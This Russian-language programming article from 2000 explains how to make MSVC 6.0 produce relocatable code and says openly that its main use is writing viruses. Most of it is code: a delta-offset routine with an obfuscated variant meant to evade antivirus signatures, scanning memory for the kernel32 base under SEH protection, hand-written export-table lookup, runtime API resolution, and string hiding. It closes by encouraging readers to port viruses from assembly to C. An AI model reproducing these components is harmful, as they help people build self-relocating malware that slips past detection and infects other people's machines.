27.02.2000 Использование microsoft visual C++ 6.0 для создания
перемещаемого програмного кода. [SMT]

В этой статье в основном речь пойдет о том, как, пользуясь microsoftовским
компилятором visual C++, создавать код, который можно было бы загрузить по
произвольному адресу и при этом он не терял свою работоспособность.
Это бывает полезно при создании всякого рода патчей, PE-EXE
упаковщиков-распаковщиков, конечно же вирусов, да и просто если нужно
в адресном пространстве некоторого процесса выполнить свой кусок кода.
Традационно для таких программ используют ассемблер, но так как и
операционные системы все усложняются, и требования к программам возрастают,
то самое время переходить на C. Особенно это требуется для сложных программ,
взаимодействующих с сетями...
Конечно, есть более простые способы, чем описанные здесь (например, создать
отдельный процесс; или сгенерить код по какому-нить экзотическому адресу
(что-то вроде 0x6EAD0000), а потом выделить память именно в этом месте и
загрузить туда свою программу), но все они имеют свои недостатки.

Итак, как заставить компилятор создавать код без привязки к конкретным
адресам... К счастью, процессоры intel x86 - это не z80 [;)] и инструкции
jmp и call используют относительные смещения. Осталось только выяснить,
в каких случаях компилятор подставляет абсолютные адреса...
Это могут быть:
  1. startup код, коды runtime библиотек;
  2. глобальные переменные, адреса функций в C-программе
  3. вызов импортируемых функций.
  4. некоторые особые случаи...

Значит, делаем так:
  1. Отказываемся от startup кода (вирусу он только мешает),
     не используем функций из статических библиотек, а пишем
     все сами (написать strcmp() не так уж трудно), или
     импортируем из msvcrt.dll/crtdll.dll
  2. Все адреса пропускаем через функцию delta такого вот содержания:

#pragma warning(disable:4035)
void *delta(void *start) {
    __asm {
        call label1
label1: pop eax
        sub eax, offset label1
        add eax, [start]
    }
}
#pragma warning(default:4035)

     конечно же, эта функция просто незаменима и поэтому может стать
     неплохой сигнатурой для аверов. Рекомендуется придумать что-то вроде

void *delta(void *start) {
    __asm {
        call label1
label0: pop ebx
        leave
        retn
label1: add ecx, eax
        xor eax, ecx
        pop eax
        shr edx, 1
        sub eax, offset label0
        add eax, [start]
    }
}
     Все глобальные переменные группируем в один большой struct,
     и передаем указатель на него между функциями. Все нужные константы
     должны быть там. Тут есть два способа как к нашему коду добавить
     блок констант: или обрабатывать его отдельно, дописывая сразу после
     кода, или сделать функцию - пустышку типа
void data() {
   __asm nop
   // 1 line = 8*16 = 128 bytes
   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop
   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop   __asm ALIGN 16  __asm nop __asm ALIGN 16 __asm nop
}
     и в main написать: memcpy(data, &init, DATASIZE)
     при этом конечно нужно добавить
#pragma comment(linker, "/SECTION:.text,ERW")
     в начало программы.

  3. импортируемые функции.
     Придется отказаться от прямого вызова таких функций. Все, что нам нужно,
     это struct с адресами API. Адреса можно получить, используя свою
     таблицу импорта (это несколько неудобно), как показано в прилагающемся
     примере (win32vir.cpp), или более привычно - сканированием памяти,
     об этом - дальше.

  4. Особые случаи.
     Как известно, памяти в стеке резервируется при загрузке модуля
     (точнее, при запуске каждого threada) обычно достаточно много,
     а именно столько, сколько указано в
     IMAGE_OPTIONAL_HEADER.SizeOfStackReserve (по умолчанию там 1Mb),
     а выделяется она по мере необходимости (по заполнении очередной
     4х-килобайтной страницы), поэтому если функция использует локальных
     переменных более чем на 4Кб, то компилятор вызывает служебную функцию,
     которая выделяет память в стеке. Нам этого совсем не надо...
     Выход - не использовать локальные переменные более 4Кб на функцию.
     Если еще учесть, что есть проблеммы с глобальными переменными, то
     получается довольно неудобно... Поэтому делаем так - ищем заменяем
     вызовы этой функции на нашу, тогда это досадное ограничение можно
     снять. Вот примерчик из одной моей проги:

__declspec(naked) void InitStackPages(void) // это помещается внутрь
{                                           // основного кода
 __asm{
         push      ecx
         cmp       eax, 000001000h
         lea       ecx, [esp+00008h]
         jb        __Exit
__Loop:
         sub       ecx, 000001000h
         sub       eax, 000001000h
         test      [ecx],eax
         cmp       eax, 000001000h
         jae       __Loop
__Exit:
         sub       ecx, eax
         mov       eax, esp
         test      [ecx], eax
         mov       esp, ecx
         mov       ecx, [eax]
         mov       eax, [eax][00004]
         push      eax
         retn
      }
}
// а это должно выполнятся только 1 раз после компиляции, обычно это
// внутри инсталлятора, поэтомы нет вызовов delta() для first_func и last_func
char x;
main() {
   // перенаправить вызовы InitStackPages
   char a[8192] = {0}; // это нужно, чтобы спровоцировать вызов InitStackPages
   char x = a[0]; // это нужно, чтобы компилятор не прибил переменную a[]
   for (unsigned char *i = (unsigned char*)main; *i != 0xE8; i++);
   unsigned offset = *(unsigned*)(i+1);
   for (unsigned char *j = (unsigned char*)first_func; j < (unsigned char*)last_func; j++)
      if (j[-5] == 0xB8 && *j == 0xE8 && i+offset == j+*(unsigned*)(j+1))
         *(unsigned*)(j+1) = (unsigned)InitStackPages - 5 - (unsigned)j;
}

    Похоже, придется отказаться и от использования try{}, но все это можно
    пережить (вот примерчик из еще одной моей проги,
    заодно и пример сканирования памяти)

#define WORD4(a,b,c,d) ((a)+(b)*0x100+(c)*0x10000+(d)*0x1000000)
#define WORD2(a,b) ((a)+(b)*0x100)
#pragma pack(1)
typedef struct _constants {
   char MainImagePath[128];
   DWORD CryptCode;
// ---------------- import data -------------
   char Kernel32DLL[sizeof("KERNEL32.DLL")];
   char CreateFileA[sizeof("CreateFileA")];
   char ReadFile[sizeof("ReadFile")];
   char SetFilePointer[sizeof("SetFilePointer")];
   char VirtualAlloc[sizeof("VirtualAlloc")];
   char CreateThread[sizeof("CreateThread")];
   char CreateFileMappingA[sizeof("CreateFileMappingA")];
   char MapViewOfFile[sizeof("MapViewOfFile")];
   char UnmapViewOfFile[sizeof("UnmapViewOfFile")];
   char CloseHandle[sizeof("CloseHandle")];
   char nul0;
   char WSOCK32DLL[sizeof("WSOCK32.DLL")];
   char connect[sizeof("connect")];
   // .....................
   char nul1, nul2;
// ------------- end of import data ----------
   char GetProcAddress[sizeof("GetProcAddress")];
   char LoadLibraryA[sizeof("LoadLibraryA")];
} CONSTANTS, *PCONSTANTS;
#pragma pack()

CONSTANTS init = {
        "C:\\WINNT\\SYSTEM32\\ntoskrnl.exe", 0,
// ---------------- import data -------------
        "KERNEL32.DLL",
        "CreateFileA",
        "ReadFile",
        "SetFilePointer",
        "VirtualAlloc",
        "CreateThread",
        "CreateFileMappingA",
        "MapViewOfFile",   // полный список перечислять нет смысла,
        "UnmapViewOfFile", // все и так все поняли
        "CloseHandle",0, // вот так переходим к следующему модулю...
        "WSOCK32.DLL",   // начало следующего модуля
        "connect", 0, 0, // конец списка импорта
        // .......................
// ------------- end of import data ----------
        "GetProcAddress",
        "LoadLibraryA"
};

typedef struct _winapi {
// ---------------- imported -------------
   HANDLE (__stdcall *CreateFile)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
   BOOL (__stdcall *ReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPPED);
   DWORD (__stdcall *SetFilePointer)(HANDLE,LONG,PLONG,DWORD);
   LPVOID (__stdcall *VirtualAlloc)(LPVOID,DWORD,DWORD,DWORD);
   HANDLE (__stdcall *CreateThread)(LPSECURITY_ATTRIBUTES,DWORD,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
   HANDLE (__stdcall *CreateFileMapping)(HANDLE,LPSECURITY_ATTRIBUTES,DWORD,DWORD,DWORD,LPCTSTR);
   LPVOID (__stdcall *MapViewOfFile)(HANDLE,DWORD,DWORD,DWORD,DWORD);
   BOOL (__stdcall *UnmapViewOfFile)(LPCVOID);
   BOOL (__stdcall *CloseHandle)(HANDLE);
   int (__stdcall *connect)(SOCKET,const struct sockaddr FAR*,int);
   // ...................

// ------------- end of imported ---------
   unsigned Kernel32;
   FARPROC (__stdcall *GetProcAddress)(DWORD, LPCSTR);
   DWORD (__stdcall *LoadLibrary)(LPCTSTR);
   PCONSTANTS ConstData;
} TWIN32, *PWIN32;

int _strcmp(char *str1, char *str2) {
   while (*str1 && *str1 == *str2)
      str1++, str2++;
   return *str1 - *str2;
}

#define tolower(c) ( ((c)<'A' || (c)>'Z') ? (c) : (c)-'A'+'a' )

// Как и GetProcAddress в kernel32, если hModule - не DLL, то страничный сбой
DWORD NativeGetProcAddress(DWORD hModule, char *lpszFunctionName)
{
   DWORD                    dwFunctionAddress = 0;
   PIMAGE_NT_HEADERS        pNtHeader;
   PIMAGE_DATA_DIRECTORY    pDataDir;
   PIMAGE_EXPORT_DIRECTORY  pExportDir;

   if (*(short*)hModule != WORD2('M','Z'))
      return dwFunctionAddress;
   pNtHeader = (PIMAGE_NT_HEADERS)(hModule + *(unsigned*)(hModule+0x3C));
   if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
      return dwFunctionAddress;

   pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
   if(!pDataDir->VirtualAddress)
      return dwFunctionAddress;
   pExportDir = (PIMAGE_EXPORT_DIRECTORY) (pDataDir->VirtualAddress + hModule);

   char **pszName = (char**)((DWORD)pExportDir->AddressOfNames + hModule);
   for(unsigned i=0; i < pExportDir->NumberOfNames; i++, pszName++)
      if(!_strcmp(*pszName+hModule, lpszFunctionName))
         goto found;
   return dwFunctionAddress;

found:
   WORD *pwOrdinals = (WORD*)((DWORD)pExportDir->AddressOfNameOrdinals + hModule);
   DWORD *pdwFunctionAddress = (DWORD*)((DWORD)pExportDir->AddressOfFunctions + hModule);
   return pdwFunctionAddress[pwOrdinals[i]] + hModule;
}

typedef unsigned (__stdcall *FUNC)(void *);
typedef void (__stdcall *ERRFUNC)(void *);
// Выполняет функцию unsigned __stdcall func(void *param),
// возвращает значение этой функции если не было ошибок, или
// вызывает void __stdcall error(void *param) и возвращает 0,
// если имело место исключение.
// В param может передаваться указатель на блок переменных
// также допустим вложенный вызов seh()
unsigned seh(FUNC func, ERRFUNC error, void *param) {
    unsigned result;
    __asm {
// set SEH
        pushad
        call next
next:   pop ebx
        lea eax,[ebx+SEHproc]
        xor ebx,ebx
        lea ecx,[ebx+next]
        sub eax,ecx
        push eax
        lea ecx,[esp-4]
        xchg ecx,fs:[ebx]
        push ecx
// start of protected section
        push dword ptr [param]
        call dword ptr [func]
        mov [result], eax
// end of protected section
        jmp short SEHok
// exception handler
SEHproc:xor ebx,ebx
        mov eax,fs:[ebx]
        mov esp,[eax]
        pop dword ptr fs:[ebx]
        pop eax
        popad   // restore ebp!
        push [param]
        call [error]
        push 0
        pop [result]
        jmp return
// Restore old SEH
SEHok:  xor ebx,ebx
        pop dword ptr fs:[ebx]
        pop eax
        popad
return:
    }
    return result;
}

__declspec(naked) void nullfunc(void *param) {
   __asm retn 4
}

unsigned __stdcall GetGetProcAddr(unsigned param) {
   return NativeGetProcAddress((DWORD)param, ((PCONSTANTS)delta(data))->GetProcAddress);
}

#define WIN_NT_KERNEL32_BASE      0x77F00000
#define WIN_9XOSR2_KERNEL32_BASE  0xBFF70000
#define WIN_2KBETA_KERNEL32_BASE  0x77ED0000
#define WIN_2KFULL_KERNEL32_BASE  0x77E80000
unsigned GetKernelBase() {
   FUNC getget = (FUNC)delta(GetGetProcAddr);
   ERRFUNC nullf = (ERRFUNC)delta(nullfunc);
#ifdef FAST_SCAN
   if (seh(getget, nullf, (void*)WIN_NT_KERNEL32_BASE))
      return WIN_NT_KERNEL32_BASE;
   if (seh(getget, nullf, (void*)WIN_9XOSR2_KERNEL32_BASE))
      return WIN_9XOSR2_KERNEL32_BASE;
   if (seh(getget, nullf, (void*)WIN_2KBETA_KERNEL32_BASE))
      return WIN_2KBETA_KERNEL32_BASE;
   if (seh(getget, nullf, (void*)WIN_2KFULL_KERNEL32_BASE))
      return WIN_2KFULL_KERNEL32_BASE;
#endif
   for (unsigned i=0xC0000000; i > 0x00400000; i -= 0x10000)
      if (seh(getget, nullf, (void*)i))
         return i;
   return 0;
}

int FindWin32Functions(PWIN32 Win32) {
   Win32->ConstData = (PCONSTANTS)delta(data);
   if (!(Win32->Kernel32 = GetKernelBase())) return 0;
   Win32->GetProcAddress = (FARPROC(__stdcall*)(DWORD,LPCSTR))GetGetProcAddr(Win32->Kernel32);
   Win32->LoadLibrary = (DWORD(__stdcall*)(LPCTSTR))NativeGetProcAddress(Win32->Kernel32, Win32->ConstData->LoadLibraryA);
   char *ptr = Win32->ConstData->Kernel32DLL;
   unsigned *addr = (unsigned*)&Win32->CreateFile;
   while (*ptr) {
      unsigned ImageBase = Win32->LoadLibrary(ptr);
      while (*ptr++);
      while (*ptr) {
         if (!(*addr++ = (unsigned)Win32->GetProcAddress(ImageBase, ptr)))
            return 0;
         while (*ptr++);
      }
      ptr++;
   }
   return 1;
}

  Hint: короткие строки можно фомировать непосредственно в программе, а не
  хранить в глобальных константах, конечно же, не байтами а сразу DWORDами:

char sec_name[8];
*(unsigned*)sec_name =     WORD4('.', 'v', 'i', 'r');
*(unsigned*)(sec_name+4) = WORD4('u', 's', 0, 0);

или

void http(PWIN32 Win32, SOCKET &s) {
   char test_string[4];
   // ... ботва ...
      *(unsigned*)test_string = WORD4('2','0','6',0);
      if (_strstr(res_buf, test_string) { // server supports re-get
// .. ну и т.п...
}

Ну как? понятнее, чем на ассемблере... Про заражение PE-файлов как-нить
в другой раз, просто в качестве упражнения  перепишите пару виряков
с asmа на C, чтобы уж совсем освоиться... Похоже, создание качественных
и сложных вирей становится приятным и несложным занятием, так что скоро
можно ожидать толпу новых поделок ;)

P.S. все вышесказанное относится исключительно к msvc версии 6.0, хотя
возможно справедливо и для пятой версии...